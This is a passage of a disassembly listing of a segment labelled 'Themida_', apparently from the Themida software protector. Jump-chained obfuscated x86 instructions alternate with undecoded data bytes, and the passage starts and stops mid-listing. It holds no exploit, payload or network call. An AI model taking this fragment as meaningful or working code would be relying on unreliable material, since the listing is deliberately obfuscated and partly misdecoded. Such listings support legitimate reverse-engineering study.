; ---------------------------------------------------------------------------
		dw 0C481h
		dd 4, 4C481h, 0C3300000h, 0FF9713E9h, 2DF029FFh, 7F985C54h
		dd 0D156E95Eh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54F8C2:				; CODE XREF: Themida_:0054852Bj
		add	edx, 0F42E8BB2h
		sub	esi, edx
		pop	edx
		xchg	esi, [esp]
		jmp	loc_552534
; ---------------------------------------------------------------------------

loc_54F8D3:				; CODE XREF: Themida_:0054F2F4j
		add	edi, ebx
		pop	ebx
		sub	edi, 4
		jmp	loc_54B95A
; ---------------------------------------------------------------------------
		db 1, 0C8h, 55h
		dd 0A9334CBDh, 0CE62E92Ah
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54F8EE:				; CODE XREF: Themida_:0054EDF9j
		push	68F2h
		jmp	loc_54FD61
; ---------------------------------------------------------------------------

loc_54F8F8:				; CODE XREF: Themida_:0054B2F3j
		add	[edx], esi
		mov	edx, [esp]
		add	esp, 4
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_54A52B
; ---------------------------------------------------------------------------
		db 89h,	0Ch, 24h
		dd 0FFBD7AE9h, 241C8BFFh, 361E9h, 0B3F58000h, 83E9E800h
		db 1Eh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_54F92B:				; CODE XREF: Themida_:0054964Bj
		mov	esp, [esp]
		mov	[esp], ecx
		not	dword ptr [esp]
		pop	ecx
		jmp	loc_5508EA
; ---------------------------------------------------------------------------

loc_54F93A:				; CODE XREF: Themida_:0054B627j
		mov	ebp, [esp]
		add	esp, 4
		add	ebx, 7F12C5BAh
		jmp	loc_54DC49
; ---------------------------------------------------------------------------

loc_54F94B:				; CODE XREF: Themida_:005508FDj
		push	dword ptr [esp]
		mov	ebx, [esp]
		jmp	loc_54D787
; ---------------------------------------------------------------------------

loc_54F956:				; CODE XREF: Themida_:0054955Aj
		push	eax
		mov	eax, 5A612F37h
		jmp	loc_54FDE7
; ---------------------------------------------------------------------------
		db 0FEh, 0Ch, 24h
		dd 758AE99Ch, 0F381FFFFh, 31FD150Fh, 2EC6E9h
		db 0
; ---------------------------------------------------------------------------

loc_54F975:				; CODE XREF: Themida_:0054B644j
		push	dword ptr [esp]
		jmp	loc_550DE2
; ---------------------------------------------------------------------------
		db 0D3h, 4, 24h
		dd 756EE99Ch, 0D930FFFFh, 59CE885Bh, 0F028F904h, 0FFE016E9h
		dd 324235FFh, 0EC814503h, 4, 0BF243C89h, 0DA906F93h, 15FF831h
		dd 0AFC7E9C6h, 5859FFFFh, 0FA88CFFEh, 0FFA475E9h, 51BB53FFh
		dd 29230843h, 0E9515BDEh, 0FFFFBB46h
; ---------------------------------------------------------------------------

loc_54F9CC:				; CODE XREF: Themida_:0054996Ej
		mov	ebp, [esp]
		add	esp, 4
		add	ebp, 4
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 4
		add	ebp, edi
		pop	edi
		xchg	ebp, [esp]
		mov	esp, [esp]
		shr	eax, 8
		xor	eax, ecx
		push	0E7Ch
		jmp	loc_5491D9
; ---------------------------------------------------------------------------
		db 81h,	0C2h, 4
		dd 0E9000000h, 0FFFF98E5h, 4EC81h, 4890000h, 0F6D48824h
		dd 8BE288D4h, 0E9532404h, 0FFFFBD15h, 240C8B66h, 51E08950h
		dd 0E1ABE953h, 0C6FEFFFFh, 8002E6C0h, 0E6D0FFC6h, 80E2C680h
		dd 0F13078C6h, 6AE1805Ah, 138BE9h
		db 0
; ---------------------------------------------------------------------------

loc_54FA4D:				; CODE XREF: Themida_:00550728j
		add	edx, edi
		jmp	loc_54CC75
; ---------------------------------------------------------------------------

loc_54FA54:				; CODE XREF: Themida_:0054AC9Cj
		push	esp
		pop	esi
		add	esi, 4
		add	esi, 4
		push	esi
		push	dword ptr [esp+4]
		mov	esi, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		div	ecx
		jmp	loc_5484D2
; ---------------------------------------------------------------------------

loc_54FA77:				; CODE XREF: Themida_:0054FE6Fj
		mov	ebx, 3020214h
		sub	ecx, ebx
		pop	ebx
		add	eax, ecx
		mov	ecx, [esp]
		add	esp, 4
		sub	eax, 4
		jmp	loc_549648
; ---------------------------------------------------------------------------
		dd 42474FFh, 24048F5Bh,	0FF24248Bh, 48B2434h, 4C48324h
		dd 0FF8F77E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54FAAD:				; CODE XREF: Themida_:00550359j
		shr	ecx, 2
		push	esi
		jmp	loc_54D73B
; ---------------------------------------------------------------------------
		dw 98B9h
		dd 0E97B3925h, 0FFFFA437h, 0EB80E300h, 30EB8027h, 0DB686658h
		dd 14896660h, 0A2B55124h, 0EE80ECB6h, 7D1EE9D2h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54FADE:				; CODE XREF: Themida_:00550322j
		mov	edi, [esp]
		jmp	loc_54F6F8
; ---------------------------------------------------------------------------
		dw 8F5Ah
		dd 248B2404h, 0A9AEE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54FAF2:				; CODE XREF: Themida_:005484FFj
		push	59C8h
		mov	[esp], edi
		jmp	loc_54E3CD
; ---------------------------------------------------------------------------

loc_54FAFF:				; CODE XREF: Themida_:0054846Aj
		push	edi
		push	3EB41896h
		jmp	loc_551946
; ---------------------------------------------------------------------------
		dw 0EC83h
		dd 874BE904h, 0C181FFFFh, 3C97109Dh, 0FF8FB8E9h, 1C77FFFFh
		dd 0D359669Dh, 0E99C241Ch, 0FFFF73C8h
; ---------------------------------------------------------------------------

loc_54FB2C:				; CODE XREF: Themida_:0054E495j
		add	esp, 4
		and	ebx, edi
		pop	edi
		or	ebx, ebx
		jnz	loc_54D0C7
		push	eax
		mov	eax, esp
		push	edx
		push	esi
		jmp	loc_54B6E9
; ---------------------------------------------------------------------------
		db 83h
		dd 0F56802C7h, 0E9000068h, 0FFFFED6Ch, 33243C31h, 248B243Ch
		dd 68E1F724h, 0BAAh, 50241489h,	25C5E99Ch, 815B0000h, 4C3h
		dd 0F8BDE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54FB7A:				; CODE XREF: Themida_:0054CB42j
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		push	edx
		mov	dh, 42h
		sub	bl, dh
		pop	edx
		add	bl, 3Bh
		jmp	loc_552AB4
; ---------------------------------------------------------------------------
		db 4Fh
		dd 0C307F781h, 0FB294A8Fh, 81D3015Fh, 5535B0C3h, 9E95A73h
		db 0F4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54FBAF:				; CODE XREF: Themida_:loc_54706Cj
					; Themida_:0054F895j
		push	ebx
		push	ecx
		mov	ecx, 0BF330C8h
		add	dword ptr [esp+4], 543C3794h
		add	[esp+4], ecx
		push	edx
		jmp	loc_54DFBA
; ---------------------------------------------------------------------------
		dd 8B240487h, 2C892424h, 2474FF24h, 0ADE95D04h
		db 0B2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54FBDB:				; CODE XREF: Themida_:0054BE6Ej
		push	3706h
		mov	[esp], ebx
		mov	ebx, 2EB742A7h
		jmp	loc_552AAC
; ---------------------------------------------------------------------------

loc_54FBED:				; CODE XREF: Themida_:00551998j
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], ebx
		sub	dword ptr [esp], 1C3E3662h
		mov	eax, [esp]
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_54B572
; ---------------------------------------------------------------------------
		dd 4EC81h, 70E90000h, 83FFFFD8h, 895004C4h, 0C416E9E0h
		dd 31ADFFFFh, 72C268D8h, 0C890000h, 8B85024h, 830E975Eh
		dd 0E8C101E8h, 0FEC8E902h, 0C483FFFFh, 85E95204h, 8BFFFF8Fh
		dd 0C481241Ch, 4, 0E957D801h, 0FFFF9701h
; ---------------------------------------------------------------------------

loc_54FC5C:				; CODE XREF: Themida_:0054CA06j
		add	ecx, 3D87E694h
		xor	edx, ecx
		pop	ecx
		add	edx, 8EE23193h
		and	eax, edx
		pop	edx
		jmp	loc_54B7F8
; ---------------------------------------------------------------------------
		db 25h
		dd 49D97C9Ch, 0F702E8C1h, 0D40AE9D0h, 8952FFFFh, 4C281E2h
		dd 83000000h, 89E904C2h, 5FFFFF9Dh, 815D5455h, 4C5h, 4BF5700h
		dd 0E9000000h, 0FFFF9539h, 5A8D68h, 240C8900h, 2434FF54h
		dd 4C48159h, 81000000h,	4C1h, 0ED69E900h, 0C481FFFFh, 4
		dd 4A1468h, 14A7E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54FCD6:				; CODE XREF: Themida_:0054D6BAj
		mov	ebp, edx
		mov	edx, [esp]
		add	esp, 4
		xchg	ecx, ebp
		xchg	edi, ecx
		not	edi
		xchg	edi, ecx
		xchg	ecx, ebp
		jmp	loc_54E64C
; ---------------------------------------------------------------------------

loc_54FCF0:				; CODE XREF: Themida_:00552590j
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], ecx
		push	esp
		pop	ecx
		push	eax
		mov	eax, 4
		jmp	loc_549F62
; ---------------------------------------------------------------------------
		dd 8F5BE56h, 47E93262h,	0C0000020h, 0B55102EAh,	50E58096h
		dd 8065CD80h, 0EA00ECF5h, 5AD00059h, 6602EC83h,	52240C89h
		dd 0FF9C4CE9h, 8AEA81FFh, 9491CB4h, 0ED815AD5h,	6DC63879h
		dd 3C44C581h, 0C5817A11h, 2513B73h, 0E4E9DDF7h
		db 9Eh,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54FD53:				; CODE XREF: Themida_:00552A6Cj
		push	eax
		mov	eax, 4F5B209Ah
		shl	eax, 3
		jmp	loc_54A274
; ---------------------------------------------------------------------------

loc_54FD61:				; CODE XREF: Themida_:0054F8F3j
		mov	[esp], ebp
		push	dword ptr [esp+4]
		pop	ebp
		jmp	loc_547CA1
; ---------------------------------------------------------------------------
		dw 5966h
		dd 1CF4E9h, 0E9CF0100h,	0FFFFBDF5h, 4C38158h, 53000000h
		dd 42474FFh, 24048F5Bh,	5124248Bh, 2434FF54h, 0FFFA98E9h
		dd 46F581FFh, 18162FFh,	0FB015DEFh, 1D05E9h
		db 0
; ---------------------------------------------------------------------------

loc_54FDA9:				; CODE XREF: Themida_:00549CA5j
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	[esp], esi
		push	dword ptr [esp+4]
		pop	esi
		jmp	loc_5529B1
; ---------------------------------------------------------------------------
		db 83h
		dd 8F042404h, 4832404h,	148B0424h, 4C48324h, 9D99E955h
		dd 248BFFFFh, 24D36624h, 0DE99C24h
		db 71h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54FDE7:				; CODE XREF: Themida_:0054F95Cj
		xor	ebp, eax
		mov	eax, [esp]
		add	esp, 4
		push	6174h
		mov	[esp], edx
		mov	edx, 0FFFFFFFFh
		sub	ebp, edx
		pop	edx
		shr	ebp, 6
		add	ebp, 0EF57EB6h
		sub	ebx, ebp
		pop	ebp
		push	ecx
		push	29BDh
		mov	[esp], ebx
		mov	bh, 7Fh
		not	bh
		not	bh
		jmp	loc_54D1B4
; ---------------------------------------------------------------------------
		dw 835Ch
		dd 1C8904ECh, 1A54BB24h, 39E94681h, 66FFFFF6h, 8124048Bh
		dd 4ECh, 241C8900h, 0FFBC9CE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54FE45:				; CODE XREF: Themida_:0054A0D1j
		pop	esi
		xchg	edi, ecx
		inc	edi
		jmp	loc_54CA04
; ---------------------------------------------------------------------------
		dw 95B9h
		dd 4114A30Dh, 552CB850h, 0C10929A2h, 582434FFh,	9ADE9h
		db 0
; ---------------------------------------------------------------------------

loc_54FE65:				; CODE XREF: Themida_:0054D682j
		xchg	edx, [esp]
		pop	esp
		jmp	loc_551E03
; ---------------------------------------------------------------------------

loc_54FE6E:				; CODE XREF: Themida_:0054831Cj
		push	ebx
		jmp	loc_54FA77
; ---------------------------------------------------------------------------
		dd 2C681h, 34870000h, 24248B24h, 9C243CD2h, 0FF706BE9h
		dd 0D830ACFFh, 224268h,	241C8900h, 4EC81h, 0A7E90000h
		db 2Dh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_54FE9F:				; CODE XREF: Themida_:0054D914j
		neg	dword ptr [esp]
		push	dword ptr [esp]
		mov	ebx, [esp]
		add	esp, 4
		add	esp, 4
		shr	ebx, 8
		add	ebx, 60CA7FECh
		add	ebx, 7CAB2311h
		add	ebx, 883C93E7h
		jmp	loc_55073D
; ---------------------------------------------------------------------------

loc_54FEC8:				; CODE XREF: Themida_:0054C70Dj
		or	al, cl
		pop	ecx
		sub	al, 19h
		xor	al, 2Dh
		sub	bl, al
		pop	eax
		sub	bl, 19h
		sub	bl, 6Fh
		sub	bl, al
		add	bl, 6Fh
		add	bl, 19h
		push	edx
		mov	dh, 0AAh
		sub	dh, 21h
		add	bl, dh
		pop	edx
		push	ecx
		mov	ch, 0C6h
		jmp	loc_548676
; ---------------------------------------------------------------------------
		db 89h,	2 dup(24h)
		dd 4240481h, 5D000000h,	4C581h,	0B9510000h, 4, 4CD9C581h
		dd 0CD013076h, 4CD9ED81h, 0C8B3076h, 0BEE95624h, 0FFFFFFBAh
		dd 589D1C77h, 9C240411h, 0FF6FC7E9h, 243489FFh,	0C9E95E54h
		dd 66000027h, 0B6241489h, 94C18065h, 8055E980h,	0F1007DC1h
		dd 807DE980h, 0E98055C1h, 0C05A6694h, 0F18007E1h, 59C800BCh
		dd 83240C8Bh, 0B75304C4h, 0FFEF80A3h, 0E950C7FEh, 0FFFFB7EDh
		dd 5502C583h, 0FFDF8FE9h, 2E2C1FFh, 614DB951h, 0E9507A09h
		dd 0FFFFB047h, 0D5E1E956h, 0C701FFFFh, 8904EC83h, 90B82404h
		dd 0E91DCC5Eh, 0FFFFACB2h
; ---------------------------------------------------------------------------

loc_54FFA0:				; CODE XREF: Themida_:0055243Aj
		add	eax, 52C13231h
		jmp	loc_54C2F0
; ---------------------------------------------------------------------------
		dw 0E95Bh
		dd 0FFFF7F09h, 911CF781h, 0FA01C000h, 2414875Fh, 2404215Ch
		dd 6F2EE99Ch, 8FB7FFFFh, 1C8BFC88h, 4C48124h, 80000000h
		dd 0C380C3F4h, 27C38030h, 0FFFADFE9h, 76E954FFh, 68FFFFA1h
		dd 69C24CB4h, 83241C8Bh, 0F3BD04C4h, 0E969C775h, 0FFFFBC3Fh
; ---------------------------------------------------------------------------

loc_54FFFC:				; CODE XREF: Themida_:0054A829j
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		jmp	loc_54F7E7
; ---------------------------------------------------------------------------
		dd 48BC529h, 0E2C6E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_550012:				; CODE XREF: Themida_:0054CC47j
		push	ecx
		push	ebx
		jmp	loc_54C365
; ---------------------------------------------------------------------------
		db 81h,	0F7h, 26h
		dd 0F72F0606h, 6BE781D7h, 55508E72h, 0CF29D1BDh, 4CD8131h
		dd 4D12CF17h, 467EF581h, 0EDC139EAh, 0B6ED8108h, 817E1566h
		dd 7880A2C5h, 0E332E9EEh, 0E0C1FFFFh, 0A8C3503h, 0C1014CB2h
		dd 0BA8E9h, 2434FF00h, 0FFD72AE9h, 0B151ACFFh, 86E18662h
		dd 86D6F6F4h, 0E9E186F4h, 0FFFF8E40h, 57240489h, 4BFh
		dd 5FF88900h, 3C49C281h, 20E97CB6h, 29FFFFB3h, 24148BD6h
		dd 0FFD57DE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_550099:				; CODE XREF: Themida_:0054BC12j
		add	esp, 4
		xor	eax, [esp]
		xor	[esp], eax
		jmp	loc_548FF2
; ---------------------------------------------------------------------------
		db 80h
		dd 0F000AAEEh, 8E5EE95Ah, 0F031FFFFh, 1BC8E9h, 48B6600h
		dd 0E2895224h, 4C281h, 0EA810000h, 4, 5C241487h, 54241489h
		dd 5A2434FFh, 4C481h, 0C2810000h, 4, 77BE68h, 243C8900h
		dd 292833BFh, 0CDF7816Ch, 81728677h, 0E4499DF7h, 7E7C171h
		dd 0FF7E8FE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_550105:				; CODE XREF: Themida_:0054987Ej
		pop	esp
		push	dword ptr [edi+eax*4]
		jmp	loc_549E7B
; ---------------------------------------------------------------------------
		dw 0D089h
		dd 0EF815B5Ah, 6F617D97h, 0FFFE71E9h, 0F3815DFFh, 0ED17073h
		dd 8143D3F7h, 0F332C2EBh, 14BD555Dh, 0E9496759h, 0FFFFF3C7h
; ---------------------------------------------------------------------------

loc_550138:				; CODE XREF: Themida_:0055150Bj
		mov	dh, ah
		pop	eax
		inc	dh
		jmp	loc_5497D4
; ---------------------------------------------------------------------------

loc_550142:				; CODE XREF: Themida_:005477C4j
		mov	[esp], ebx
		mov	ebx, 9011509h
		jmp	loc_5477C9
; ---------------------------------------------------------------------------
		db 0E9h
		dd 0FFFF6DA0h
; ---------------------------------------------------------------------------

loc_550154:				; CODE XREF: Themida_:0054D78Aj
		add	esp, 4
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], ebp
		jmp	loc_54BB77
; ---------------------------------------------------------------------------
		dw 7DE9h
		db 6Dh,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_550177:				; CODE XREF: Themida_:005471CFj
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		jmp	loc_54CB6B
; ---------------------------------------------------------------------------
		db 53h
		dd 4BBh, 5BD90100h, 0E9240C87h,	1C5Bh, 6E606866h, 241C8B66h
		dd 1331E9h
		db 0
; ---------------------------------------------------------------------------

loc_5501A9:				; CODE XREF: Themida_:0054D46Bj
		mov	eax, 708A69E3h
		xor	eax, 9F709B3Fh
		xor	edx, eax
		pop	eax
		add	edx, edi
		push	dword ptr [edx]
		add	dword ptr [esp], 2B102F83h
		mov	ecx, [esp]
		add	esp, 4
		sub	ecx, 2B102F83h
		mov	edx, [esp]
		add	esp, 4
		push	27E6h
		mov	[esp], edx
		jmp	loc_5489C9
; ---------------------------------------------------------------------------
		dw 9E9h
		dd 83FFFF6Dh, 0BF5704C4h, 7D4C3B76h, 6C0C68h, 24048900h
		dd 3A31BF57h, 0D2B8161Dh, 3119FD43h, 0AB055FF8h, 172D34Ah
		dd 24048BC7h, 104C483h,	0C3815FFBh, 2, 0FFC990E9h, 4E981FFh
		dd 8142B71Ch, 9C8269E9h, 59C88958h, 0FFBA2BE9h,	2E0C0FFh
		dd 0FAE95266h, 66FFFF99h, 6824048Bh, 3442h, 54243489h
		dd 8C5E9h, 98072D00h, 0C701663Bh, 8124048Bh, 4C4h, 0C2E95300h
		dd 59000029h, 4245C01h,	2434FF5Bh, 0E389535Eh, 4C381h
		dd 0E1E90000h
		db 26h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_550283:				; CODE XREF: Themida_:0054BA77j
		mov	[esp], esp
		sub	esp, 4
		mov	[esp], eax
		push	ebx
		mov	ebx, 0DB0315Ch
		or	ebx, 47F001C9h
		add	ebx, 0E1E849C9h
		mov	eax, 31D87BA2h
		xor	eax, ebx
		pop	ebx
		add	[esp+4], eax
		mov	eax, [esp]
		jmp	loc_546FDB
; ---------------------------------------------------------------------------
		dw 0B951h
		dd 10360936h, 12DF181h,	0C98140C6h, 450A130Fh, 17E9D1F7h
		dd 5DFFFF6Fh, 95409545h, 867AED81h, 0E889870Ch,	0FF6C98E9h
		dd 0B25266FFh, 1A57E997h, 0D8280000h, 0C098B753h, 0C78008EFh
		dd 0C0C7FED8h, 0D7F605EFh, 0C005EFC0h, 0F78008E7h, 5BF80072h
		dd 0FFBE74E9h, 242C33FFh, 33242C31h, 248B242Ch,	241C8924h
		dd 42474FFh, 0FFDAB7E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_550321:				; CODE XREF: Themida_:00548AB7j
		push	esp
		jmp	loc_54FADE
; ---------------------------------------------------------------------------
		db 0B2h
		dd 0D588519Eh, 0EA88D5F6h, 0BFC28059h, 0FFE0A1E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_550339:				; CODE XREF: Themida_:0054BA5Aj
		pop	ebx
		add	esp, 4
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_54E008
; ---------------------------------------------------------------------------
		dw 895Ch
		dd 85B5240Ch, 0FEE7B551h, 0D9A3E9C5h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_550356:				; CODE XREF: Themida_:00549BFCj
		mov	esp, [esp]
		jmp	loc_54FAAD
; ---------------------------------------------------------------------------
		dw 0EA81h
		dd 0CB21DAB5h, 495AD189h, 49ADF181h, 0D1F74912h, 644DE181h
		dd 0E98128B9h, 0FC5A3DD8h, 51E9C801h, 66000010h, 6660152Dh
		dd 566E829h, 2C8B6015h,	4C48324h, 2A5C6866h, 243C8966h
		dd 0FDFAE953h, 0FF51FFFFh, 59042474h, 5C24048Fh, 7DAD68h
		dd 24348900h, 1138FB68h, 0CD3AE973h, 8B66FFFFh,	8957240Ch
		dd 8EA68E7h, 34890000h,	6CBA5224h, 501D5512h, 8904EC83h
		dd 0BEE9243Ch, 59FFFFE2h, 0FF9CCAE9h, 5AD129FFh, 0FA3CEE2Dh
		dd 0E8DDE94Eh, 34FFFFFFh, 240C8B24h, 0FF6E11E9h, 0B256B5FFh
		dd 0B7B5518Dh, 0F8E9EA28h, 0BBFFFFBDh, 4, 0CBE9DF01h, 89FFFFB4h
		dd 0B0682414h, 0E900001Bh, 0FFFF81A2h, 68D831ADh, 632Dh
		dd 52240C89h, 0C67760BAh, 6148B95Ah, 0A6E99048h
		db 3 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55043F:				; CODE XREF: Themida_:0054D832j
		mov	ebx, esp
		push	eax
		mov	eax, 6CD15B10h
		add	eax, 0D294815h
		jmp	loc_54879C
; ---------------------------------------------------------------------------
		db 0C1h, 0E3h, 2
		dd 2414F753h, 1C3835Bh,	0FFD474E9h, 0AAEB81FFh,	0FF0E215Dh
		dd 24E92434h
		db 0F8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55046F:				; CODE XREF: Themida_:0055114Ej
		xor	[esp], ebp
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		push	eax
		push	edx
		pop	eax
		mov	edx, [esp]
		add	esp, 4
		push	32EFh
		mov	[esp], ecx
		jmp	loc_547809
; ---------------------------------------------------------------------------

loc_550492:				; CODE XREF: Themida_:0054B6E4j
		push	esp
		pop	esi
		jmp	loc_549C90
; ---------------------------------------------------------------------------
		db 57h,	68h, 79h
		dd 5F391B2Bh, 0B10EE94Fh, 968FFFFh, 8B22C800h, 0C483240Ch
		dd 8BC80104h, 8951240Ch, 4C181E1h, 83000000h, 0C8704C1h
		dd 0A6E95C24h, 2DFFFFECh, 5D145EEAh, 80C7E95Fh,	0E989FFFFh
		dd 0A2C6815Dh, 816BFC3Ah, 6C6AC1EEh, 0E9CE0113h, 1E4Eh
		dd 405h, 68565700h, 652A7FC6h, 2E6C15Eh, 0FF7D4EE9h, 6FE952FFh
		db 0F3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_550507:				; CODE XREF: Themida_:0054EF2Aj
		pop	edi
		sub	esp, 4
		mov	[esp], edx
		mov	edx, edi
		mov	eax, edx
		pop	edx
		mov	edi, [esp]
		add	esp, 4
		mov	ebp, [esp]
		add	esp, 4
		push	ebp
		push	16B8h
		jmp	loc_5519C7
; ---------------------------------------------------------------------------

loc_550530:				; CODE XREF: Themida_:0054F1B6j
		mov	[esp], esi
		push	2EEE20E0h
		pop	esi
		sub	esi, 619A7287h
		add	esi, 1
		jmp	loc_54DB10
; ---------------------------------------------------------------------------
		db 52h
		dd 0FD5478BAh, 0E9D38920h, 0FFFFA7B8h
; ---------------------------------------------------------------------------

loc_550554:				; CODE XREF: Themida_:005512FBj
		and	al, 0AEh
		xor	al, 3Dh
		or	cl, al
		pop	eax
		dec	cl
		jmp	loc_551134
; ---------------------------------------------------------------------------

loc_550562:				; CODE XREF: Themida_:0054E6C6j
		add	esp, 4
		push	ecx
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ecx
		add	ecx, 4
		push	ebx
		mov	ebx, 4
		jmp	loc_54E352
; ---------------------------------------------------------------------------
		dd 0B083C181h, 0CE01AD9Ah, 2DFE9h, 240C8B00h, 0FF749CE9h
		dd 74FF57FFh, 0CEE90424h, 0F7000018h, 0CC9FE9D5h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5505BE:				; CODE XREF: Themida_:0054BB86j
		push	ecx
		jmp	loc_54E4CA
; ---------------------------------------------------------------------------
		dd 8353F581h, 0E8010483h, 2C0835Dh, 0E9240487h,	0FFFFA357h
		dd 0F788CE88h, 0C3ECE95Ah, 0C481FFFFh, 4, 4EC81h, 69E90000h
		dd 66FFFFB6h, 6824048Bh, 0B3Ch,	0E9240C89h, 0FFFFD7B9h
; ---------------------------------------------------------------------------

loc_550604:				; CODE XREF: Themida_:0054A404j
		sub	edx, 7B3E9404h
		sub	esi, edx
		pop	edx
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		sub	esi, 4
		xchg	esi, [esp]
		mov	esp, [esp]
		mov	[esp], ebx
		jmp	loc_548356
; ---------------------------------------------------------------------------
		dd 0F708EEC1h, 0A2DFE9D6h, 0C481FFFFh, 4, 0FCE9D5F6h, 0BF000010h
		dd 7E191C34h, 5DAAB951h, 0C3810E21h, 45F21D05h,	0EB81CB01h
		dd 45F21D05h, 83240C8Bh, 0FB2904C4h, 0FFFDFCE9h, 2434FFFFh
		dd 5854505Fh, 405h, 4C08300h, 5C240487h, 4C481h, 90E90000h
		dd 87000000h, 0F787243Ch, 51E268h, 24348900h, 0FF7F54E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_550695:				; CODE XREF: Themida_:0054DCF4j
		shl	eax, cl
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		push	eax
		jmp	loc_549290
; ---------------------------------------------------------------------------

loc_5506A6:				; CODE XREF: Themida_:005493A9j
		add	ecx, 4
		jmp	loc_54C324
; ---------------------------------------------------------------------------
		db 87h,	0Ch, 24h
		dd 0BE9815Ch, 0C1253D5Ah, 0C3E902E9h, 81000007h, 0A66EFFC6h
		dd 5EF0317Ch, 0F66C331h, 686600B6h, 896645D4h, 15E92404h
		db 68h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5506DF:				; CODE XREF: Themida_:0054AE61j
		add	esp, 4
		jmp	loc_55267F
; ---------------------------------------------------------------------------
aItphU		db '‰âPhµU',0
		dw 8900h
		dd 0DD68243Ch, 5F66AA1Fh, 7853E781h, 0DFF71D3Ch, 1855C781h
		dd 30E90428h, 8FFFFFD6h, 0E1E94047h, 0E9FFFF67h, 0FFFF67DCh
; ---------------------------------------------------------------------------

loc_550718:				; CODE XREF: Themida_:00551F8Bj
		xor	eax, edi
		push	dword ptr [esp]
		jmp	loc_54917C
; ---------------------------------------------------------------------------

loc_550722:				; CODE XREF: Themida_:00547C64j
		push	edi
		mov	edi, 4
		jmp	loc_54FA4D
; ---------------------------------------------------------------------------

loc_55072D:				; CODE XREF: Themida_:00549786j
		inc	edx
		push	ecx
		jmp	loc_54E4D9
; ---------------------------------------------------------------------------
		dd 24048966h, 0FF67B7E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55073D:				; CODE XREF: Themida_:0054FEC3j
		xor	eax, ebx
		mov	ebx, [esp]
		add	esp, 4
		add	eax, 1
		sub	eax, 7B052893h
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 0C3194765h
		sub	eax, edi
		pop	edi
		jmp	loc_54C197
; ---------------------------------------------------------------------------
		db 0C1h
		dd 0D6F703EEh, 25F2F681h, 0F789C4C9h, 0A3BE565Eh, 90DFF38h
		dd 0C7815EF7h, 50AF6F51h, 886AEF81h, 0F8013122h, 0FFC291E9h
		dd 8BF000FFh, 54532414h, 4C3815Bh, 83000000h, 1C8704C3h
		dd 0EC835C24h, 69CDE904h, 0C059FFFFh, 5DE905E7h, 89FFFFC8h
		dd 74FF2414h, 8F5A0424h, 0E95C2404h, 0C9Eh, 8B243C87h
		dd 89662424h, 26E9240Ch, 5CFFFFE3h, 81E28952h, 4C2h, 0C1DEE900h
		dd 3CB1FFFFh, 0D001C180h, 80D1F6E9h, 0F92856E9h, 0E9C8285Bh
		dd 0FFFFB149h
; ---------------------------------------------------------------------------

loc_5507F8:				; CODE XREF: Themida_:005478BFj
		mov	edx, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		push	eax
		push	dword ptr [esp+4]
		jmp	loc_54BD0A
; ---------------------------------------------------------------------------
		dw 0C481h
		dd 4, 2414F751h, 55E98759h, 0F7243487h,	74FF56D6h, 8F5E0424h
		dd 875D2404h, 0B6F7E9E9h, 97B4FFFFh, 0FFA9C4E9h, 242C8BFFh
		dd 81E28952h, 4C2h, 4C28300h, 5C241487h, 2474FF50h, 48F5804h
		dd 8B665C24h, 0A9E92404h, 5DFFFF75h, 32F2E581h,	0E5C103C3h
		dd 4FF58104h, 0E96FDF5Dh, 0FFFFA4C9h, 0D028C7B0h, 0E9C6285Ah
		dd 0FFFF9756h, 0ACEF8159h, 173675Eh, 0ACC781F7h, 0E973675Eh
		dd 1F7Dh, 81515A66h, 4ECh, 91ACE900h, 0BE0FFFFFh, 6A1868C8h
		dd 0C890000h, 663EE924h, 4BAFFFFh, 1000000h, 34875AD6h
